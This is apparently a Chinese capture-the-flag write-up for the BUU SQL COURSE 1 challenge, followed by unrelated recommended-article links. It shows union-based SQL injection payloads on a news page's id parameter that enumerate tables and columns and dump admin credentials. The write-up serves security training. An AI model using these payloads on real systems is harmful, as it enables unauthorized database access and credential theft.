BUU SQL COURSE 1 sql注入

这里分析,存在两个分析点

登录界面和新闻界面

这里可以先试一下登陆界面是否存在sql注入,但是经过测试不存在,可以通过通用的sql注入语句测试,从而分析到主要点不在登录,那就可能是新闻页面的,我们在点击新闻的时候,这里后面的代码处理是直接在数据库中进行搜索呈现,可以看到存在?id的形式

这里是直接拼接id,有回显,通过sql语句进行拼接id,因此这里就可以构造payload,通过访问地址进行查询他的数据库信息,因此就可以进行接下来的操作

探测数据表的列数

复制代码
?id=1 order by 2

存在两列

复制代码
?id=1 order by 3

不存在三列

查询数据库核心信息

复制代码
?id=-1 union select database(),2 

查看数据库信息

数据库信息为news

查询数据库里的所有表名

复制代码
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

存在两个数据表,包含admin和contents

进行查询admin的属性后查询属性值

复制代码
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

查询账号密码

复制代码
?id=-1 union select username,password from admin

得到admin账号密码

最后登录获得flag

相关推荐
ShiXZ2136 小时前
Redis 常用指令全集:redis-cli 实战速查手册
数据库·redis·缓存
晓子文集6 小时前
Tushare接口文档:期货日线行情(fut_daily)
大数据·数据库·金融数据·量化投资·tushare
WA内核拾荒者7 小时前
WhatsApp 账号异常检测的自动化告警系统设计
数据库·python·自动化
龙仔72510 小时前
人大金仓OS_Core数据库自动备份实施笔记(银河麒麟Linux)
linux·数据库·笔记·备份·人大金仓
sunxr.22711 小时前
Mysql-----最后一次作业
数据库·mysql
普通网友11 小时前
Python FastAPI 异步数据库管理
数据库·fastapi
晓子文集11 小时前
Tushare接口文档:期货合约信息表(fut_basic)
大数据·数据库·金融·金融数据·量化投资
全云在线allcloudonline11 小时前
等保服务公司能提供什么?广东创云科技一站式等保流程解析
网络安全·等保·企业服务
三言老师12 小时前
CentOS7.9:Redis‑Cluster集群部署结构化实战教程
linux·运维·服务器·数据库
旺仔学长 哈哈12 小时前
Spring Boot 智能停车场管理系统---附源码+数据库文档
数据库·spring boot·后端·智能停车场